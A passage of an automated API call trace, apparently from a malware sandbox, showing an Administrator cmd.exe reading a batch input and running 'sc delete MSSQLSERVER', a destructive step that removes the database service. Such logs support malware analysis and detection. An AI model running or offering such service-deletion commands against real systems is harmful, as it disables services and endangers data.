lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="Vuncher\nce\n") returned 1 [0074.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.177] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="Encher\nce\n") returned 1 [0074.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.177] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="Rcher\nce\n") returned 1 [0074.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.178] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="\nher\nce\n") returned 1 [0074.178] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.178] GetFileType (hFile=0xb8) returned 0x3 [0074.178] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.178] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.178] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.178] GetFileType (hFile=0x120) returned 0x3 [0074.178] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLSERVER\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLSERVER\n", lpUsedDefaultChar=0x0) returned 23 [0074.178] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x16, lpOverlapped=0x0) returned 1 [0074.178] GetProcessHeap () returned 0x240000 [0074.178] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x264630 [0074.178] GetProcessHeap () returned 0x240000 [0074.178] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264630 | out: hHeap=0x240000) returned 1 [0074.179] GetProcessHeap () returned 0x240000 [0074.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0074.179] GetProcessHeap () returned 0x240000 [0074.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0074.179] GetProcessHeap () returned 0x240000 [0074.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256510 [0074.179] GetConsoleOutputCP () returned 0x1b5 [0074.180] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0074.180] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.180] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.180] GetProcessHeap () returned 0x240000 [0074.180] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0074.180] GetProcessHeap () returned 0x240000 [0074.180] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x25aa40 [0074.180] GetProcessHeap () returned 0x240000 [0074.180] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0074.180] SetErrorMode (uMode=0x0) returned 0x1 [0074.180] SetErrorMode (uMode=0x1) returned 0x0 [0074.180] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0074.180] SetErrorMode (uMode=0x1) returned 0x1 [0074.180] GetProcessHeap () returned 0x240000 [0074.180] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0074.181] GetProcessHeap () returned 0x240000 [0074.181] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0074.181] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0074.181] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0074.181] GetProcessHeap () returned 0x240000 [0074.181] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0074.181] GetProcessHeap () returned 0x240000 [0074.181] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0074.181] GetProcessHeap () returned 0x240000 [0074.181] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0074.181] GetProcessHeap () returned 0x240000 [0074.181] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0074.181] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0074.181] GetProcessHeap () returned 0x240000 [0074.181] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0074.181] GetProcessHeap () returned 0x240000 [0074.181] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0074.181] GetProcessHeap () returned 0x240000 [0074.181] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0074.181] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.182] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.182] GetLastError () returned 0x2 [0074.182] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.182] GetLastError () returned 0x2 [0074.182] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.182] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0074.182] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0074.182] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.183] GetLastError () returned 0x2 [0074.183] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0074.183] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0074.183] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0074.183] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0074.183] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.183] GetProcessHeap () returned 0x240000 [0074.183] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0074.183] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.183] GetProcessHeap () returned 0x240000 [0074.183] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa4) returned 0x259180 [0074.183] GetProcessHeap () returned 0x240000 [0074.183] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa4 [0074.183] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLSERVER") returned 1 [0074.184] GetProcessHeap () returned 0x240000 [0074.184] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0074.184] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0074.184] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0074.184] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0074.184] GetProcessHeap () returned 0x240000 [0074.184] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0074.184] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0074.184] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0074.184] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0074.184] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0074.185] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0074.186] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0074.186] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0074.186] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0074.186] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0074.186] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0074.186] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0074.186] GetProcessHeap () returned 0x240000 [0074.186] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0074.186] GetProcessHeap () returned 0x240000 [0074.186] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0074.186] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLSERVER", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLSERVER", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete MSSQLSERVER", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x984, dwThreadId=0x994)) returned 1 [0074.190] CloseHandle (hObject=0x54) returned 1 [0074.190] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0074.190] GetProcessHeap () returned 0x240000 [0074.190] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0074.190] GetEnvironmentStringsW () returned 0x261b10* [0074.190] GetProcessHeap () returned 0x240000 [0074.190] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0074.190] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0074.190] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0074.190] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd3000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0074.190] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0074.256] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0074.256] CloseHandle (hObject=0x50) returned 1 [0074.257] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0074.257] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0074.257] GetProcessHeap () returned 0x240000 [0074.257] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0074.257] GetEnvironmentStringsW () returned 0x261b10* [0074.257] GetProcessHeap () returned 0x240000 [0074.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0074.257] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0074.257] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0074.257] GetProcessHeap () returned 0x240000 [0074.257] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0074.257] GetEnvironmentStringsW () returned 0x261b10* [0074.257] GetProcessHeap () returned 0x240000 [0074.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0074.257] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0074.257] GetProcessHeap () returned 0x240000 [0074.257] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0074.257] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0074.258] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0074.258] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.258] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0074.259] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.259] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0074.259] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.259] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0074.259] GetConsoleOutputCP () returned 0x1b5 [0074.259] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0074.259] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.260] GetProcessHeap () returned 0x240000 [0074.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0074.260] GetProcessHeap () returned 0x240000 [0074.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0074.260] GetProcessHeap () returned 0x240000 [0074.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0074.260] GetProcessHeap () returned 0x240000 [0074.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0074.260] GetProcessHeap () returned 0x240000 [0074.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0074.260] GetProcessHeap () returned 0x240000 [0074.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0074.260] GetProcessHeap () returned 0x240000 [0074.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0074.260] GetProcessHeap () returned 0x240000 [0074.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0074.260] GetProcessHeap () returned 0x240000 [0074.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0074.260] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0074.260] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.260] GetFileType (hFile=0x120) returned 0x3 [0074.261] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0074.261] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0074.261] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0074.261] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0074.261] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0074.261] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0074.261] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.261] GetFileType (hFile=0x120) returned 0x3 [0074.261] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0074.261] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0074.261] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.261] GetFileType (hFile=0xb8) returned 0x3 [0074.261] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.261] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.262] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.262] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLSERVER\nher\nce\n") returned 1 [0074.262] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.262] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.262] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.262] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLSERVER\nher\nce\n") returned 1 [0074.262] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.262] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.262] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.262] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLSERVER\nher\nce\n") returned 1 [0074.262] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.262] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.262] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.262] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLSERVER\nher\nce\n") returned 1 [0074.262] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.262] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.262] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.262] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLSERVER\nher\nce\n") returned 1 [0074.262] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.262] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, 